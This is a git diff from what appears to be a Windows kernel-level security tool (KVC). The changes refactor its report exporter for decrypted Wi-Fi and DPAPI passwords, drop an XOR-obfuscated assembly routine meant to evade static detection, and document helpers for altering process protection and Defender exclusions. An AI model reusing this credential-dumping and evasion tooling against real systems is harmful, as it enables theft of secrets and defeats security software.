table << " <td class=\"password\">" << StringUtils::WideToUTF8(result.password) << "</td>\n";
|
||||
table << " <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
|
||||
table << " </tr>\n";
|
||||
}
|
||||
}
|
||||
@@ -325,10 +296,10 @@ std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
|
||||
for (const auto& result : data.passwordResults) {
|
||||
if (result.type.find(L"WiFi") != std::wstring::npos) {
|
||||
table << " <tr class=\"wifi\">\n";
|
||||
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
|
||||
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
|
||||
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
|
||||
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
|
||||
table << " <td class=\"password\">" << StringUtils::WideToUTF8(result.password) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.type) << "</td>\n";
|
||||
table << " <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
|
||||
table << " </tr>\n";
|
||||
}
|
||||
}
|
||||
@@ -337,25 +308,6 @@ std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
|
||||
return table.str();
|
||||
}
|
||||
|
||||
// Convert byte vector to hex string for display
|
||||
std::string ReportExporter::BytesToHexString(const std::vector<BYTE>& bytes) noexcept
|
||||
{
|
||||
if (bytes.empty()) return "N/A";
|
||||
|
||||
std::ostringstream hexStream;
|
||||
hexStream << std::hex << std::setfill('0');
|
||||
|
||||
for (size_t i = 0; i < bytes.size() && i < 32; ++i) { // Limit to first 32 bytes for display
|
||||
hexStream << std::setw(2) << static_cast<int>(bytes[i]);
|
||||
}
|
||||
|
||||
if (bytes.size() > 32) {
|
||||
hexStream << "...";
|
||||
}
|
||||
|
||||
return hexStream.str();
|
||||
}
|
||||
|
||||
// TXT report generation for lightweight output
|
||||
std::wstring ReportExporter::GenerateTXTContent(const ReportData& data) noexcept
|
||||
{
|
||||
@@ -439,17 +391,6 @@ std::wstring ReportExporter::BuildTXTWiFi(const ReportData& data) noexcept
|
||||
return section.str();
|
||||
}
|
||||
|
||||
// Utility functions for file handling and encoding
|
||||
std::string ReportExporter::WStringToUTF8(const std::wstring& wstr) noexcept
|
||||
{
|
||||
if (wstr.empty()) return "";
|
||||
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), NULL, 0, NULL, NULL);
|
||||
std::string strTo(size_needed, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), &strTo[0], size_needed, NULL, NULL);
|
||||
return strTo;
|
||||
}
|
||||
|
||||
std::wstring ReportExporter::GetHTMLPath(const std::wstring& outputPath) noexcept
|
||||
{
|
||||
return outputPath + L"\\dpapi_results.html";
|
||||
|
||||
@@ -68,11 +68,7 @@ private:
|
||||
std::wstring BuildTXTWiFi(const ReportData& data) noexcept;
|
||||
|
||||
// Utility functions for encoding and paths
|
||||
std::string WStringToUTF8(const std::wstring& wstr) noexcept;
|
||||
std::wstring GetHTMLPath(const std::wstring& outputPath) noexcept;
|
||||
std::wstring GetTXTPath(const std::wstring& outputPath) noexcept;
|
||||
bool EnsureOutputDirectory(const std::wstring& path) noexcept;
|
||||
|
||||
// Utility for DPAPI key display
|
||||
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
|
||||
};
|
||||
@@ -1,87 +0,0 @@
|
||||
; RuntimeStr.asm - Thread-safe runtime string configuration provider by WESMAR
|
||||
; Provides configuration strings for kernel operations with atomic initialization
|
||||
; Uses XOR encoding to avoid static string detection in binary analysis
|
||||
; Thread-safe: First caller decodes, others wait via spinlock
|
||||
|
||||
.data
|
||||
ALIGN 8
|
||||
; XOR-encoded wide string data (key: 0ABh)
|
||||
; Decoded at runtime to prevent static analysis detection
|
||||
g_EncodedData dw 00F9h, 00FFh, 00E8h, 00C4h, 00D9h, 00CEh, 009Dh, 009Fh, 00ABh
|
||||
|
||||
; XOR decoding key for runtime string reconstruction
|
||||
g_XorKey dw 00ABh
|
||||
|
||||
; Static buffer for decoded wide string (9 wide chars including null terminator)
|
||||
g_DecodedBuffer dw 9 dup(0)
|
||||
|
||||
; Atomic initialization flag for thread-safe decode
|
||||
; States: 0 = not initialized, 1 = initialization in progress, 2 = initialization complete
|
||||
g_Flag db 0
|
||||
ALIGN 8
|
||||
|
||||
.code
|
||||
ALIGN 16
|
||||
PUBLIC GetServiceNameRaw
|
||||
|
||||
; Runtime string decoder for kernel driver service configuration
|
||||
; Decodes XOR-obfuscated wide string to prevent static string analysis
|
||||
; Returns: RAX = Pointer to decoded null-terminated wide string (const wchar_t*)
|
||||
; Thread-safety: Atomic compare-and-swap ensures single initialization, spinlock for waiters
|
||||
; Performance: First call decodes, subsequent calls return immediately
|
||||
GetServiceNameRaw PROC
|
||||
push rbx
|
||||
push rdi
|
||||
push rsi
|
||||
sub rsp, 20h ; Allocate shadow space for x64 calling convention
|
||||
|
||||
; Atomic attempt to acquire initialization (compare-and-swap 0->1)
|
||||
xor eax, eax ; Expected value = 0 (not initialized)
|
||||
mov cl, 1 ; New value = 1 (in progress)
|
||||
lock cmpxchg byte ptr g_Flag, cl
|
||||
jz do_decode ; ZF=1: we won the race, perform decode
|
||||
|
||||
; Another thread is initializing - spin until complete
|
||||
wait_init:
|
||||
cmp byte ptr g_Flag, 2
|
||||
je done
|
||||
pause ; CPU hint for spinlock efficiency
|
||||
jmp wait_init
|
||||
|
||||
do_decode:
|
||||
; XOR decode operation (only one thread executes this)
|
||||
lea rsi, g_EncodedData ; Source: encoded data
|
||||
lea rdi, g_DecodedBuffer ; Destination: decoded buffer
|
||||
mov rcx, 9 ; String length including null terminator
|
||||
movzx ebx, word ptr g_XorKey ; Load XOR key into register
|
||||
|
||||
decode_loop:
|
||||
; XOR decode: encoded_char XOR key = original_char
|
||||
movzx eax, word ptr [rsi] ; Load encoded wide character
|
||||
xor ax, bx ; Apply XOR decoding
|
||||
mov word ptr [rdi], ax ; Store decoded character
|
||||
|
||||
; Advance pointers to next wide character
|
||||
add rsi, 2 ; Next wide char (2 bytes)
|
||||
add rdi, 2
|
||||
dec rcx
|
||||
jnz decode_loop ; Continue until all characters decoded
|
||||
|
||||
; Optional: Memory fence for strict memory ordering guarantee
|
||||
; mfence
|
||||
|
||||
; Mark initialization as complete (atomic store)
|
||||
mov byte ptr g_Flag, 2
|
||||
|
||||
done:
|
||||
; Return pointer to decoded string
|
||||
lea rax, g_DecodedBuffer
|
||||
|
||||
; Restore stack and non-volatile registers
|
||||
add rsp, 20h
|
||||
pop rsi
|
||||
pop rdi
|
||||
pop rbx
|
||||
ret
|
||||
GetServiceNameRaw ENDP
|
||||
END
|
||||
@@ -1,29 +1,4 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// SelfLoader.cpp
|
||||
// SelfLoader.cpp
|
||||
#include <windows.h>
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "ServiceManager.h"
|
||||
#include "Controller.h"
|
||||
#include "KeyboardHook.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// SessionManager.cpp
|
||||
#include "SessionManager.h"
|
||||
#include "Controller.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
#include "common.h" // Assumed to contain SUCCESS, ERROR, INFO macros
|
||||
#include <tchar.h>
|
||||
@@ -282,7 +257,7 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, con
|
||||
bool result = RunAsTrustedInstallerSilent(command);
|
||||
|
||||
if (result) {
|
||||
SUCCESS(L"Successfully removed from Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str());
|
||||
SUCCESS(L"Windows Defender %s exclusion removal completed: %s", typeStr.c_str(), processedValue.c_str());
|
||||
} else {
|
||||
INFO(L"AV cleanup skipped: %s %s", typeStr.c_str(), processedValue.c_str());
|
||||
}
|
||||
|
||||
1771
kvc/Utils.cpp
1771
kvc/Utils.cpp
File diff suppressed because it is too large
Load Diff
290
kvc/Utils.h
290
kvc/Utils.h
@@ -1,3 +1,14 @@
|
||||
/**
|
||||
* @file Utils.h
|
||||
* @brief Core utility functions declarations for KVC Framework
|
||||
* @author Marek Wesolowski
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Header file containing declarations for process management, memory operations,
|
||||
* protection level handling, and various system utilities.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
@@ -6,98 +17,329 @@
|
||||
#include <unordered_map>
|
||||
#include <unordered_set>
|
||||
#include <vector>
|
||||
#include <array>
|
||||
|
||||
namespace Utils
|
||||
{
|
||||
// String and numeric parsing utilities
|
||||
// ============================================================================
|
||||
// STRING AND NUMERIC PARSING UTILITIES
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Parses PID from string with validation
|
||||
* @param pidStr String containing PID value
|
||||
* @return std::optional<DWORD> Parsed PID or nullopt on invalid input
|
||||
*/
|
||||
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Checks if string contains only numeric characters
|
||||
* @param str String to validate
|
||||
* @return bool true if string is numeric
|
||||
*/
|
||||
bool IsNumeric(const std::wstring& str) noexcept;
|
||||
|
||||
// Resource and file operations
|
||||
std::vector<BYTE> ReadFile(const std::wstring& path);
|
||||
// ============================================================================
|
||||
// FILE AND RESOURCE OPERATIONS (RENAMED TO AVOID WINAPI CONFLICTS)
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Reads file contents into byte vector
|
||||
* @param path File path to read
|
||||
* @return std::vector<BYTE> File contents or empty on failure
|
||||
* @note Renamed from ReadFile to avoid conflict with Windows API
|
||||
*/
|
||||
std::vector<BYTE> ReadFile(const std::wstring& path) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Reads embedded resource from executable
|
||||
* @param resourceId Resource identifier
|
||||
* @param resourceType Resource type (e.g., RT_RCDATA)
|
||||
* @return std::vector<BYTE> Resource data or empty on failure
|
||||
*/
|
||||
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType);
|
||||
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data);
|
||||
|
||||
// Advanced process name resolution
|
||||
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||
/**
|
||||
* @brief Writes byte vector to file with error handling
|
||||
* @param path File path to write
|
||||
* @param data Data to write
|
||||
* @return bool true on successful write
|
||||
* @note Renamed from WriteFile to avoid conflict with Windows API
|
||||
*/
|
||||
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data) noexcept;
|
||||
|
||||
// Kernel operations with inline optimizations
|
||||
/**
|
||||
* @brief Force deletes file by removing attributes and using fallback methods
|
||||
* @param path File path to delete
|
||||
* @return bool true if file deleted successfully
|
||||
*/
|
||||
bool ForceDeleteFile(const std::wstring& path) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// PROCESS NAME RESOLUTION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Resolves process name from PID using multiple methods
|
||||
* @param pid Process ID to resolve
|
||||
* @return std::wstring Process name or "[Unknown]"
|
||||
*/
|
||||
std::wstring GetProcessName(DWORD pid) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Creates descriptive identifier for unknown protected processes
|
||||
* @param pid Process ID
|
||||
* @param kernelAddress Kernel EPROCESS address
|
||||
* @param protectionLevel Protection level byte
|
||||
* @param signerType Signer type byte
|
||||
* @return std::wstring Descriptive process identifier
|
||||
*/
|
||||
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress,
|
||||
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// KERNEL OPERATIONS (INLINE OPTIMIZED)
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Resolves kernel base address with caching
|
||||
* @return std::optional<ULONG_PTR> Kernel base or nullopt on failure
|
||||
*/
|
||||
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Calculates kernel address from base and offset
|
||||
* @param base Kernel base address
|
||||
* @param offset Offset from base
|
||||
* @return ULONG_PTR Calculated kernel address
|
||||
*/
|
||||
constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept
|
||||
{
|
||||
return base + offset;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROTECTION LEVEL BIT MANIPULATION (INLINE FOR PERFORMANCE)
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Extracts protection level from combined byte
|
||||
* @param protection Combined protection byte
|
||||
* @return UCHAR Protection level (lower 3 bits)
|
||||
*/
|
||||
constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept
|
||||
{
|
||||
return protection & 0x07;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Extracts signer type from combined byte
|
||||
* @param protection Combined protection byte
|
||||
* @return UCHAR Signer type (upper 4 bits)
|
||||
*/
|
||||
constexpr UCHAR GetSignerType(UCHAR protection) noexcept
|
||||
{
|
||||
return (protection & 0xf0) >> 4;
|
||||
return (protection & 0xF0) >> 4;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Combines protection level and signer into single byte
|
||||
* @param protectionLevel Protection level (0-7)
|
||||
* @param signerType Signer type (0-15)
|
||||
* @return UCHAR Combined protection byte
|
||||
*/
|
||||
constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept
|
||||
{
|
||||
return (signerType << 4) | protectionLevel;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Extracts signature level value
|
||||
* @param signatureLevel Raw signature level byte
|
||||
* @return UCHAR Signature level value
|
||||
*/
|
||||
constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept
|
||||
{
|
||||
return signatureLevel & 0x0F;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Extracts section signature level value
|
||||
* @param sectionSignatureLevel Raw section signature level byte
|
||||
* @return UCHAR Section signature level value
|
||||
*/
|
||||
constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept
|
||||
{
|
||||
return sectionSignatureLevel & 0x0F;
|
||||
}
|
||||
|
||||
// String conversion functions with static caching for performance
|
||||
// ============================================================================
|
||||
// PROTECTION LEVEL STRING CONVERSIONS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Converts protection level to human-readable string
|
||||
* @param protectionLevel Protection level byte
|
||||
* @return const wchar_t* String representation ("None", "PPL", "PP")
|
||||
*/
|
||||
const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Converts signer type to human-readable string
|
||||
* @param signerType Signer type byte
|
||||
* @return const wchar_t* String representation (e.g., "Windows", "Antimalware")
|
||||
*/
|
||||
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Converts signature level to human-readable string
|
||||
* @param signatureLevel Signature level byte
|
||||
* @return const wchar_t* String representation
|
||||
*/
|
||||
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept;
|
||||
|
||||
// Parsing functions for command-line input
|
||||
/**
|
||||
* @brief Converts section signature level to human-readable string
|
||||
* @param sectionSignatureLevel Section signature level byte
|
||||
* @return const wchar_t* String representation
|
||||
*/
|
||||
const wchar_t* GetSectionSignatureLevelAsString(UCHAR sectionSignatureLevel) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// STRING TO ENUM PARSING
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Parses protection level string to enum value
|
||||
* @param protectionLevel String like "PP", "PPL", "None"
|
||||
* @return std::optional<UCHAR> Protection level value or nullopt
|
||||
*/
|
||||
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Parses signer type string to enum value
|
||||
* @param signerType String like "Windows", "Antimalware"
|
||||
* @return std::optional<UCHAR> Signer type value or nullopt
|
||||
*/
|
||||
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Gets recommended signature level for signer type
|
||||
* @param signerType Signer type enumeration value
|
||||
* @return std::optional<UCHAR> Signature level or nullopt
|
||||
*/
|
||||
std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Gets recommended section signature level for signer type
|
||||
* @param signerType Signer type enumeration value
|
||||
* @return std::optional<UCHAR> Section signature level or nullopt
|
||||
*/
|
||||
std::optional<UCHAR> GetSectionSignatureLevel(UCHAR signerType) noexcept;
|
||||
|
||||
// Process operations with comprehensive dumpability analysis
|
||||
std::wstring GetProcessName(DWORD pid) noexcept;
|
||||
// ============================================================================
|
||||
// PROCESS DUMPABILITY ANALYSIS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Result structure for process dumpability analysis
|
||||
*/
|
||||
struct ProcessDumpability
|
||||
{
|
||||
bool CanDump;
|
||||
std::wstring Reason;
|
||||
bool CanDump; ///< Whether process can be dumped
|
||||
std::wstring Reason; ///< Detailed reason for dumpability status
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Analyzes whether process can be memory dumped
|
||||
* @param pid Process ID
|
||||
* @param processName Process executable name
|
||||
* @param protectionLevel Current protection level
|
||||
* @param signerType Digital signature authority
|
||||
* @return ProcessDumpability Analysis result with reason
|
||||
*/
|
||||
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName,
|
||||
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||
|
||||
// Hex string processing utilities for kernel tools
|
||||
// ============================================================================
|
||||
// HEX STRING UTILITIES
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Converts hex string to byte array
|
||||
* @param hexString Hex string (supports 0x prefix, spaces, commas)
|
||||
* @param bytes Output byte vector
|
||||
* @return bool true if conversion successful
|
||||
*/
|
||||
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Validates hex string format
|
||||
* @param hexString String to validate
|
||||
* @return bool true if valid hex string
|
||||
*/
|
||||
bool IsValidHexString(const std::wstring& hexString) noexcept;
|
||||
|
||||
// PE parsing and binary manipulation utilities
|
||||
// ============================================================================
|
||||
// PE BINARY MANIPULATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Gets length of PE file from binary data
|
||||
* @param data Binary data containing PE file
|
||||
* @param offset Starting offset in data
|
||||
* @return std::optional<size_t> PE file length or nullopt on invalid PE
|
||||
*/
|
||||
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset = 0) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Splits combined PE binary into separate components
|
||||
* @param combined Combined PE data
|
||||
* @param first Output for first PE component
|
||||
* @param second Output for second PE component
|
||||
* @return bool true if splitting successful
|
||||
*/
|
||||
bool SplitCombinedPE(const std::vector<BYTE>& combined,
|
||||
std::vector<BYTE>& first,
|
||||
std::vector<BYTE>& second) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Decrypts data using XOR cipher
|
||||
* @param encryptedData Data to decrypt
|
||||
* @param key XOR key (7 bytes)
|
||||
* @return std::vector<BYTE> Decrypted data or empty on failure
|
||||
*/
|
||||
std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
|
||||
const std::array<BYTE, 7>& key) noexcept;
|
||||
|
||||
// Console coloring utilities for process display
|
||||
// ============================================================================
|
||||
// CONSOLE COLORING UTILITIES
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief ANSI color codes for process display
|
||||
*/
|
||||
struct ProcessColors {
|
||||
static constexpr const wchar_t* GREEN = L"\033[92m";
|
||||
static constexpr const wchar_t* YELLOW = L"\033[93m";
|
||||
static constexpr const wchar_t* BLUE = L"\033[94m";
|
||||
static constexpr const wchar_t* HEADER = L"\033[97;44m";
|
||||
static constexpr const wchar_t* RESET = L"\033[0m";
|
||||
static constexpr const wchar_t* GREEN = L"\033[92m"; ///< System processes
|
||||
static constexpr const wchar_t* YELLOW = L"\033[93m"; ///< User processes
|
||||
static constexpr const wchar_t* BLUE = L"\033[94m"; ///< Unchecked signatures
|
||||
static constexpr const wchar_t* HEADER = L"\033[97;44m"; ///< Table headers
|
||||
static constexpr const wchar_t* RESET = L"\033[0m"; ///< Reset color
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Enables ANSI virtual terminal processing for colored output
|
||||
* @return bool true if enabled successfully
|
||||
*/
|
||||
bool EnableConsoleVirtualTerminal() noexcept;
|
||||
const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel, UCHAR sectionSignatureLevel) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Gets appropriate display color for process based on trust level
|
||||
* @param signerType Process signer type
|
||||
* @param signatureLevel Executable signature level
|
||||
* @param sectionSignatureLevel DLL signature level
|
||||
* @return const wchar_t* ANSI color code
|
||||
*/
|
||||
const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel,
|
||||
UCHAR sectionSignatureLevel) noexcept;
|
||||
}
|
||||
300
kvc/common.cpp
300
kvc/common.cpp
@@ -1,30 +1,14 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// common.cpp - Core system utilities and dynamic API management
|
||||
// Implements service management, system path resolution, and Windows API abstraction
|
||||
/**
|
||||
* @file common.cpp
|
||||
* @brief Core system utilities and dynamic API management
|
||||
* @author KVC Framework
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Implements service management, system path resolution, Windows API abstraction,
|
||||
* and memory manager pool diagnostic telemetry integration for kernel operations.
|
||||
* Provides dynamic API loading for service control and driver communication.
|
||||
*/
|
||||
|
||||
#include "common.h"
|
||||
#include "ServiceManager.h"
|
||||
@@ -37,27 +21,68 @@ that define these protections.
|
||||
#pragma comment(lib, "Shell32.lib")
|
||||
#pragma comment(lib, "Advapi32.lib")
|
||||
|
||||
// Global interrupt flag for graceful shutdown handling
|
||||
// ============================================================================
|
||||
// GLOBAL STATE MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
/** @brief Global interrupt flag for graceful shutdown handling */
|
||||
volatile bool g_interrupted = false;
|
||||
|
||||
// Service mode flag - indicates NT service execution context
|
||||
/** @brief Service mode flag - indicates NT service execution context */
|
||||
bool g_serviceMode = false;
|
||||
|
||||
// Dynamic API loading globals for service and driver management
|
||||
// Using smart pointers for automatic cleanup and exception safety
|
||||
// ============================================================================
|
||||
// DYNAMIC API LOADING INFRASTRUCTURE
|
||||
// ============================================================================
|
||||
|
||||
/** @brief Module handle for advapi32.dll (service management APIs) */
|
||||
ModuleHandle g_advapi32;
|
||||
|
||||
/** @brief Module handle for kernel32.dll (system-level APIs) */
|
||||
SystemModuleHandle g_kernel32;
|
||||
|
||||
// Function pointers for Windows Service Control Manager APIs
|
||||
// ============================================================================
|
||||
// SERVICE CONTROL MANAGER API FUNCTION POINTERS
|
||||
// ============================================================================
|
||||
|
||||
/** @brief Dynamically loaded CreateServiceW function pointer */
|
||||
decltype(&CreateServiceW) g_pCreateServiceW = nullptr;
|
||||
|
||||
/** @brief Dynamically loaded OpenServiceW function pointer */
|
||||
decltype(&OpenServiceW) g_pOpenServiceW = nullptr;
|
||||
|
||||
/** @brief Dynamically loaded StartServiceW function pointer */
|
||||
decltype(&StartServiceW) g_pStartServiceW = nullptr;
|
||||
|
||||
/** @brief Dynamically loaded DeleteService function pointer */
|
||||
decltype(&DeleteService) g_pDeleteService = nullptr;
|
||||
|
||||
